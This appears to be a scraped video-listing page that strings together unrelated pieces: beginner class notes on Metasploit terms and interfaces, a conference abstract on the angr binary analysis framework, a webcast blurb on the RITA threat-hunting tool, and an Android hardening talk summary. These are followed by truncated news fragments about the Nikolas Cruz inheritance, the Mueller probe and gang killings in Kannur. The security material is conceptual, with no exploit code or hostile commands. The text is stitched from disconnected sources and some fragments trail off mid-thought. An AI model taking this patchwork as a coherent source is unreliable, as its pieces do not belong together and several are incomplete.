Speaker Bio:
Brent is an OffensiveSecurity Consultant at Solutionary NTTGroup Security Company and has spoken at numerous security conferences, including DEF CON 22‹SE Village. He has held the role of Web/Project Manager and IT SecurityDirector at the headquarters of a global franchise company. His experience includes Internal and ExternalPenetration Assessments, Social Engineering and Physical Security Assessments, Wireless and ApplicationVulnerability Assessments and more.
Twitter: @BrentWDesign

Introduction to Metasploit for Penetration Testing

InfoLevel: Beginner
Presenter: Eli the Computer Guy
Date Created: April 19, 2013Length of Class: 24:05
Research Assistance: Nullset Computer Co (http://nullsetcomputerco.com/)
TracksHacking
Prerequisites
NonePurpose of Class
This class gives students an overview as to why Metasploit is an important tool for Penetration Testing and Hacking.
Class Notes
Metasploit is a Framework vs. being a purpose built application. You can build your own tools using it much like you can build new toys with Legos.
Versions for Linux and Windows (And of course is included with Backtrack 5)
Disable AntiVirus and FirewallSoftware before using Metasploit
Metasploit Terms
Exploit - The way an attacker uses a systems vulnerability
Payload -- Code that is going to be run on attacked system
Shellcode -- payload code that provides an attacker with a Shellinterface for compromised system
Module -- A "plugin" for Metasploit to perform specific tasks
Listener -- A component that listens for incoming connections
Interfaces
MSFconsole -- Console environment where you give commands to Metasploit interactively
MSFcli -- Allows you to run Metasploit directly from the command line. This is used to create scripts that call Metasploit to perform specific actions
Armitage -- Free graphical user interface
Metasploit Express and Pro -- Commercial Interfaces that make working with Metasploit more user friendly
You can store collected data into built in Database
PostgreSQL Database created during installation
Corrections
Lab SetupUsed in DemonstrationN/AStudy Guides
Metasploit the Penetration Tester's Guide (ISBN: 978-1-59327-288-3)
Pages 7-11, 14, 20-21
Resources
http://www.metasploit.com/
http://www.elithecomputerguy.com/2013/02/08/introduction-to-metasploit-the-basics/

31:13

How to Detect and Prevent Frauds on Asterisk Servers

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In this video learn about the simple measures availa...

Security has gone from a curiosity to a phenomenon in the last decade. Fortunately for us, despite the rise of memory-safe, interpreted, lame languages, the security of binaries is as relevant as ever. On top of that, (computer security) Capture the Flag competitions have skyrocketed in popularity, with new and exciting binaries on offer for hacking every weekend.
This all sounds great, and it is. Unfortunately, the more time goes by, the older we get, and the more our skills fade. Whereas we were happy to stare at objdump a decade ago, today, we find the menial parts of reversing and pwning more and more tiring and more and more difficult. Worse, while security analysis tools have been evolving to make life easier for us hackers, the core tools that we use (like IDA Pro) have remained mostly stagnant. And on top of that, the term "binaries" have expanded to regularly include ARM, MIPS, PPC, MSP430, and every other crazy architecture you can think of, rather than the nice, comfortable x86 of yesteryear.
New tools are required, and we're here to deliver. Over the last two years, we have been working on a next-generation binary analysis framework in an attempt to turn back the tide and reduce our mounting noobness. The result is called angr.
angr assists in binary analysis by providing extremely powerful, state-of-the-art analyses, and making them as straightforward to use as possible. Ever wanted to know *what freaking value* some variable could take on in a function (say, can the target of a computed write point to the return address)? angr can tell you! Want to know what input you need to trigger a certain code path and export a flag? Ask angr! In the talk, we'll cover three of the analyses that angr provides: a powerful static analysis engine (able to, among other things, automatically identify potential memory corruption in binaries through the use of Value-Set Analysis), its symbolic execution engine, and dynamic emulation of various architectures (*super* useful for debugging shellcode).
On top of that, angr is designed to make the life of a hacker as easy as possible -- for example, the whole system is 98% Python, and is designed to be a breeze to interact with through iPython. Plus, it comes with a niftyGUI with nice visualizations for symbolically exploring a program, tracking differences between different program paths, and understanding value ranges of variables and registers. Finally, angr is designed to be easily extensible and embeddable in other applications. We'll show off a semantic-aware ROP gadget finder ("are there any gadgets that write to a positive offset of rax but don't clobber rbx" or "given this program state, what are the gadgets that won't cause a segfault") and a binary diffing engine, both built on angr.
We've used angr to solve CTF binaries, analyze embedded devices, debug shellcode, and even dabble in the DARPACyber Grand Challenge. We'll talk about our experiences with all of that and will release angr to the world, hopefully revolutionizing binary analysis and making everyone ANGRY!
Speaker Bios:
Yan and Fish are two members of Shellphish, a pretty badass hacking team famous for low SLA and getting the freaking exploit JUST A FREAKING MINUTE LATE. Their secret identities are those of PhD students in the security lab of UC Santa Barbara. When they're not CTFing or surfing, they're doing next-generation (what does that even mean?) security research. Their works have been published in numerous academic venues. For example, in 2013, they created an automatic tool, called MovieStealer, a tool to automatically break the DRM of streaming media services [1]. After taking 2014 to work on angr, in 2015, they followed this up with an analysis of backdoors in embedded devices [2].
Now, they've set their sights on helping the world analyze binaries faster, better, stronger, by revolutionizing the analysis tool landscape!
[1] https://www.usenix.org/conference/usenixsecurity13/technical-sessions/paper/wang_ruoyu
[2] http://www.internetsociety.org/doc/firmalice-automatic-detection-authentication-bypass-vulnerabilities-binary-firmware
Twitter: @zardus

Want to get started on a hunt team and discover "bad things" on your network?
In this webcast, we will walk through the installation and usage of Real IntelligenceThreat Analytics (RITA). RITA is an open-source framework from the folks at Black HillsInformation Security and Offensive CounterMeasures. RITA ingests Bro logs and seeks out malicious payload beaconing and scanning behavior. It also determines which systems in your environment are talking with known bad IP addresses and domains. In less than an hour, you will learn how to collect and analyze network traffic for hunt teaming analysis.
We will also provide some sample Bro logs for you to play with and give RITA a test drive. Want to use your own Bro logs? Great! Just make sure your logs come from an egress pre-NAT point where we can see the internal RFC 1918 IP addresses talking to external IP addresses.
We'll cover the different types of math used in our analysis, including:
- Connection intervals
- Data sizes
- Connection times
As a bonus, our sponsor, LogRhythm, will be showing off a completely free network monitoring tool called Network Monitor Freemium — a free tool for network monitoring, application detection, and detecting suspicious network activity (including lateral movement)!
RITA webpage: http://www.blackhillsinfosec.com/?page_id=4417

In this talk, we will discuss Android's attack surface reduction history, and how that fits into the broader Android security story. We will go into detail on the specific technical strategies used to achieve the attack surface reduction, and explore specific bugs which were made unreachable as a result of the hardening over the last several years. And we will examine the overall result of the hardening, and areas for improvement.
By Nick Kralevich
Full Abstract & Presentation Materials:
https://www.blackhat.com/us-17/briefings.html#honey-i-shrunk-the-attack-surface-%E2%80%93-adventures-in-android-security-hardening

38:28

Install Windows 7 - Vulnerable applications

Penetration Testing A Hands On Introduction To Hacking
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The woman tasked with caring for accused Florida shooter Nikolas Cruz and his brother have moved quickly to file court papers seeking control of their inheritance the day after the massacre at Majory Stoneman Douglas High School, Newsweek reported. When the mother of Nikolas and Zachary Cruz died from flu-related pneumonia last November, their lives were entrusted to Roxanne Deschamps, the report said....

Special CounselRobert Mueller's probe is prepared to accept a guilty plea from the London-based son-in-law of a Russian businessman after he made false statements during the investigation into alleged Russian interference in the 2016 U.S. presidential election, according to the Washington Post... Tymoshenko was later imprisoned by former president Viktor Yanukovych after signing a controversial deal with Russia for natural gas ... U.S ... U.S....

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Kozhikode. The killer gangs in Kannur adopt the cruellest forms of attacks against their opponents. They dismember their limbs to make the rest of their &nbsp;lives most miserable. The killers’ latest modus operandi has been brought to light through the hacking of Youth Congress leader Suhaib recently. . The attackers would put soil into the wounds of the victim’s body after hacking to ensure his death....

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